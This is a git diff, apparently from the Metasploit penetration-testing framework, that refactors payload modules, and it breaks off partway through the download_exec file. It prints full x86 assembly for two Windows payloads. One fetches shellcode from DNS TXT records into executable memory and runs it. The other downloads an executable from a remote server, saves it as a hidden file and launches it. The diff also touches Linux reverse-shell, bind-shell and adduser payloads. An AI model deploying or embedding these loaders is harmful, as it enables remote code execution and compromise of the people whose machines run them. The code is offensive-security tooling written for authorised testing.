6b67d8b8f628..4ec7fc1faba7 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 90 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb index a96fd8fceb0b..3e697fe14f13 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 74 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 0a730f65e584..387791ea89cf 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -16,7 +16,7 @@ module MetasploitModule CachedSize = 97 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index d06c51f9a6c6..d301259cd206 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -13,7 +13,7 @@ module MetasploitModule CachedSize = 36 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index bb3b98101506..41146a514d1c 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -16,7 +16,7 @@ module MetasploitModule CachedSize = 43 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb index 538b2d812aab..cd4a244c231c 100644 --- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 0 - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb index 2883ea6f0b50..0f2bbad4bd0f 100644 --- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 0 - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 2686edce622e..cec49aa4cbd7 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 63 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb index 2f374d73f331..ca7423e91375 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 90 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb index f1e8d10b4b0f..bb2fee56d1e7 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 78 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb index c5fa747e8697..ec6ef21d8543 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 57 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb index 9ad0de71274e..9e5b55040866 100644 --- a/modules/payloads/singles/linux/x86/shell_find_port.rb +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 62 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb index dfa9b6ab5d1a..98afa53bbd65 100644 --- a/modules/payloads/singles/linux/x86/shell_find_tag.rb +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 69 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb index 92a4c2d98e2d..643b4079a9c9 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 68 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb index 7ca09731f7c0..a5dd99d5420b 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb @@ -10,7 +10,7 @@ module MetasploitModule CachedSize = 158 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X86::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index fbd1cdc8f0ce..0b0ff5ef28ab 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -5,15 +5,22 @@ module MetasploitModule - CachedSize = 285 + CachedSize = 291 include Msf::Payload::Windows include Msf::Payload::Single + include Msf::Payload::Windows::BlockApi def initialize(info = {}) super(merge_info(info, 'Name' => 'DNS TXT Record Payload Download and Execution', - 'Description' => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload', + 'Description' => %q{ + Performs a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE + option is used as the base name to iterate over. The payload will first request the TXT contents of the a + hostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly + 255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using + x86/alpha_mixed with the BufferRegister option set to EDI. + }, 'Author' => [ 'corelanc0d3r ' @@ -53,204 +60,117 @@ def initialize(info = {}) # (Example will show a messagebox) # # DNS TXT Records : - # a.corelan.eu : contains first 255 bytes of the alpha shellcode - # b.corelan.eu : contains the next 255 bytes of the alpha shellcode - # c.corelan.eu : contains the last 144 bytes of the alpha shellcode + # a.corelan.eu : contains first 255 bytes of the alpha shellcode + # b.corelan.eu : contains the next 255 bytes of the alpha shellcode + # c.corelan.eu : contains the last 144 bytes of the alpha shellcode def generate(_opts = {}) - dnsname = datastore['DNSZONE'] - wType = 0x0010 #DNS_TYPE_TEXT (TEXT) - wTypeOffset = 0x1c + dnsname = datastore['DNSZONE'] + wType = 0x0010 #DNS_TYPE_TEXT (TEXT) + wTypeOffset = 0x1c - queryoptions = 0x248 + queryoptions = 0x248 # DNS_QUERY_RETURN_MESSAGE (0x200) # DNS_QUERY_BYPASS_CACHE (0x08) # DNS_QUERY_NO_HOSTS_FILE (0x40) # DNS_QUERY_ONLY_TCP (0x02) <- not used atm - bufferreg = "edi" + bufferreg = "edi" #create actual payload - payload_data = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - -; actual routine -start: - pop ebp ; get ptr to block_api routine - -; first allocate some space in heap to hold payload -alloc_space: - xor eax,eax ; clear EAX - push 0x40 ; flProtect (RWX) - mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes) - push eax ; flAllocationType MEM_COMMIT (0x1000) - push eax ; dwSize (0x1000) - push 0x0 ; lpAddress - push 0xE553A458 ; kernel32.dll!VirtualAlloc - call ebp - push eax ; save pointer on stack, will be used in memcpy - mov #{bufferreg}, eax ; save pointer, to jump to at the end - - -;load dnsapi.dll -load_dnsapi: - xor eax,eax ; put part of string (hex) in eax - mov al,0x70 - mov ah,0x69 - push eax ; Push 'dnsapi' to the stack - push 0x61736e64 ; ... - push esp ; Push a pointer to the 'dnsapi' string on the stack. - push 0x0726774C ; kernel32.dll!LoadLibraryA - call ebp ; LoadLibraryA( "dnsapi" ) - -;prepare for loop of queries - mov bl,0x61 ; first query, start with 'a' - -dnsquery: - jmp.i8 get_dnsname ; get dnsname - -get_dnsname_return: - pop eax ; get ptr to dnsname (lpstrName) - mov [eax],bl ; patch sequence number in place - xchg esi,ebx ; save sequence number - push esp ; prepare ppQueryResultsSet - pop ebx ; (put ptr to ptr to stack on stack) - sub ebx,4 - push ebx - push 0x0 ; pReserved - push ebx ; ppQueryResultsSet - push 0x0 ; pExtra - push #{queryoptions} ; Options - push #{wType} ; wType - push eax ; lpstrName - push 0xC99CC96A ; dnsapi.dll!DnsQuery_A - call ebp ; - test eax, eax ; query ok ? - jnz jump_to_payload ; no, jump to payload - jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it - - -get_dnsname: - call get_dnsname_return - db "a.#{dnsname}", 0x00 - -get_query_result: - xchg #{bufferreg},edx ; save start of heap - pop #{bufferreg} ; heap structure containing DNS results - mov eax,[#{bufferreg}+0x18] ; check if value at offset 0x18 is 0x1 - cmp eax,1 - jne prepare_payload ; jmp to payload - add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply - mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply - -copy_piece_to_heap: - xchg ebx,esi ; save counter - mov esi,edi ; set source - mov edi,[esp+0x8] ; retrieve heap destination for memcpy - xor ecx,ecx ; clear ecx - mov cl,0xff ; always copy 255 bytes, no matter what - rep movsb ; copy from ESI to EDI - push edi ; save target for next copy - push edi ; 2 more times to make sure it's at esp+8 - push edi ; - inc ebx ; increment sequence - xchg #{bufferreg},edx ; restore start of heap - jmp.i8 dnsquery ; try to get the next piece, if any - -prepare_payload: - mov #{bufferreg},edx - -jump_to_payload: - jmp #{bufferreg} ; jump to it - - - -EOS + payload_data = %Q^ + cld ; clear direction flag + call start ; start main routine + #{asm_block_api} + ; actual routine + start: + pop ebp ; get ptr to block_api routine + + ; first allocate some space in heap to hold payload + alloc_space: + xor eax,eax ; clear EAX + push 0x40 ; flProtect (RWX) + mov ah,0x10 ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes) + push eax ; flAllocationType MEM_COMMIT (0x1000) + push eax ; dwSize (0x1000) + push 0x0 ; lpAddress + push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAlloc")} + call ebp + push eax ; save pointer on stack, will be used in memcpy + mov #{bufferreg}, eax ; save pointer, to jump to at the end + + + ; load dnsapi.dll + load_dnsapi: + xor eax,eax ; put part of string (hex) in eax + mov al,0x70 + mov ah,0x69 + push eax ; push 'dnsapi' to the stack + push 0x61736e64 ; ... + push esp ; Push a pointer to the 'dnsapi' string on the stack. + push #{Rex::Text.block_api_hash("kernel32.dll", "LoadLibraryA")} + call ebp ; LoadLibraryA( "dnsapi" ) + + ;prepare for loop of queries + mov bl,0x61 ; first query, start with 'a' + + dnsquery: + jmp.i8 get_dnsname ; get dnsname + + get_dnsname_return: + pop eax ; get ptr to dnsname (lpstrName) + mov [eax],bl ; patch sequence number in place + xchg esi,ebx ; save sequence number + push esp ; prepare ppQueryResultsSet + pop ebx ; (put ptr to ptr to stack on stack) + sub ebx,4 + push ebx + push 0x0 ; pReserved + push ebx ; ppQueryResultsSet + push 0x0 ; pExtra + push #{queryoptions} ; Options + push #{wType} ; wType + push eax ; lpstrName + push #{Rex::Text.block_api_hash("dnsapi.dll", "DnsQuery_A")} + call ebp ; + test eax, eax ; query ok? + jnz jump_to_payload ; no, jump to payload + jmp.i8 get_query_result ; eax = 0 : a piece returned, fetch it + + get_dnsname: + call get_dnsname_return + db "a.#{dnsname}", 0x00 + + get_query_result: + xchg #{bufferreg},edx ; save start of heap + pop #{bufferreg} ; heap structure containing DNS results (DNS_TXT_DATAA) + mov eax,[#{bufferreg}+0x18] ; check the number of strings in the response + cmp eax,1 ; skip if there's not exactly 1 string in the response + jne prepare_payload ; jmp to payload + add #{bufferreg},#{wTypeOffset} ; get ptr to ptr to DNS reply + mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply + + copy_piece_to_heap: + xchg ebx,esi ; save counter + mov esi,edi ; set source + mov edi,[esp+0x8] ; retrieve heap destination for memcpy + xor ecx,ecx ; clear ecx + mov cl,0xff ; always copy 255 bytes, no matter what + rep movsb ; copy from ESI to EDI + push edi ; save target for next copy + push edi ; 2 more times to make sure it's at esp+8 + push edi ; + inc ebx ; increment sequence + xchg #{bufferreg},edx ; restore start of heap + jmp.i8 dnsquery ; try to get the next piece, if any + + prepare_payload: + mov #{bufferreg},edx + + jump_to_payload: + jmp #{bufferreg} ; jump to it +^ self.assembly = payload_data super end diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index b3dbb2f2896b..e9a95e23cd61 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -5,11 +5,11 @@ module MetasploitModule - CachedSize = 423 + CachedSize = 429 include Msf::Payload::Windows include Msf::Payload::Single - + include Msf::Payload::Windows::BlockApi def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Executable Download (http,https,ftp) and Execute', @@ -49,8 +49,8 @@ def generate(_opts = {}) #;0x00000200 ; INTERNET_FLAG_NO_UI" exitfuncs = { - "PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess - "THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread + "THREAD" => Rex::Text.block_api_hash("kernel32.dll", "ExitThread").to_i(16), # ExitThread + "PROCESS" => Rex::Text.block_api_hash("kernel32.dll", "ExitProcess").to_i(16), # ExitProcess "SEH" => 0x00000000, #we don't care "NONE" => 0x00000000 #we don't care } @@ -124,267 +124,183 @@ def generate(_opts = {}) # get protocol specific stuff #create actual payload - payload_data = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - -; actual routine -start: - pop ebp ; get ptr to block_api routine -; based on HDM's block_reverse_https.asm -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - mov esi, esp ; Save a pointer to wininet - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push esi ; LPCTSTR lpszAgent ("wininet\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp.i8 dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP) - push ecx ; password - push ecx ; username - push #{port_nr} ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp.i8 get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - #{dwflags_asm} ; dwFlags - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push 0x10 - pop ebx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - mov eax, esp - push 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz create_file - -try_it_again: - dec ebx - jz thats_all_folks ; failure -> exit - jmp.i8 set_security_options - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "#{server_uri}", 0x00 - -create_file: - jmp.i8 get_filename - -get_filename_return: - xor eax,eax ; zero eax - pop edi ; ptr to filename - push eax ; hTemplateFile - push 2 ; dwFlagsAndAttributes (Hidden) - push 2 ; dwCreationDisposition (CREATE_ALWAYS) - push eax ; lpSecurityAttributes - push 2 ; dwShareMode - push 2 ; dwDesiredAccess - push edi ; lpFileName - push 0x4FDAF6DA ; kernel32.dll!CreateFileA - call ebp - -download_prep: - xchg eax, ebx ; place the file handle in ebx - xor eax,eax ; zero eax - mov ax,0x304 ; we'll download 0x300 bytes at a time - sub esp,eax ; reserve space on stack - -download_more: - push esp ; &bytesRead - lea ecx,[esp+0x8] ; target buffer - xor eax,eax - mov ah,0x03 ; eax => 300 - push eax ; read length - push ecx ; target buffer on stack - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz thats_all_folks ; failure -> exit - - pop eax ; how many bytes did we retrieve ? - - test eax,eax ; optional? - je close_and_run ; continue until it returns 0 - -write_to_file: - push 0 ; lpOverLapped - push esp ; lpNumberOfBytesWritten - push eax ; nNumberOfBytesToWrite - lea eax,[esp+0xc] ; get pointer to buffer - push eax ; lpBuffer - push ebx ; hFile - push 0x5BAE572D ; kernel32.dll!WriteFile - call ebp - sub esp,4 ; set stack back to where it was - jmp.i8 download_more - -close_and_run: - push ebx - push 0x528796C6 ; kernel32.dll!CloseHandle - call ebp - -execute_file: - push 0 ; don't show - push edi ; lpCmdLine - push 0x876F8B31 ; kernel32.dll!WinExec - call ebp - -thats_all_folks: - #{exitasm} - -get_filename: - call get_filename_return - db "#{filename}",0x00 - -get_server_host: - call internetconnect - -server_host: - db "#{server_host}", 0x00 -end: -EOS + payload_data = %Q^ + cld + call start + #{asm_block_api} + start: + pop ebp ; get ptr to block_api routine + ; based on HDM's block_reverse_https.asm + load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + mov esi, esp ; Save a pointer to wininet + push esp ; Push a pointer to the "wininet" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + + internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push esi ; LPCTSTR lpszAgent ("wininet\x00") + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')} ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp.i8 dbl_get_server_host + + internetconnect: + pop ebx ; Save the hostname pointer + xor ecx, ecx + push ecx ; DWORD_PTR dwContext (NULL) + push ecx ; dwFlags + push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP) + push ecx ; password + push ecx ; username + push #{port_nr} ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')} ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp.i8 get_server_uri + + httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + #{dwflags_asm} ; dwFlags + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')} ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + + set_retry: + push 0x10 + pop ebx + + ; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); + set_security_options: + push 0x00003380 + mov eax, esp + push 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')} ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + + httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')} ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz create_file + + try_it_again: + dec ebx + jz thats_all_folks ; failure -> exit + jmp.i8 set_security_options + + dbl_get_server_host: + jmp get_server_host + + get_server_uri: + call httpopenrequest + + server_uri: + db "#{server_uri}", 0x00 + + create_file: + jmp.i8 get_filename + + get_filename_return: + xor eax,eax ; zero eax + pop edi ; ptr to filename + push eax ; hTemplateFile + push 2 ; dwFlagsAndAttributes (Hidden) + push 2 ; dwCreationDisposition (CREATE_ALWAYS) + push eax ; lpSecurityAttributes + push 2 ; dwShareMode + push 2 ; dwDesiredAccess + push edi ; lpFileName + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} ; kernel32.dll!CreateFileA + call ebp + + download_prep: + xchg eax, ebx ; place the file handle in ebx + xor eax,eax ; zero eax + mov ax,0x304 ; we'll download 0x300 bytes at a time + 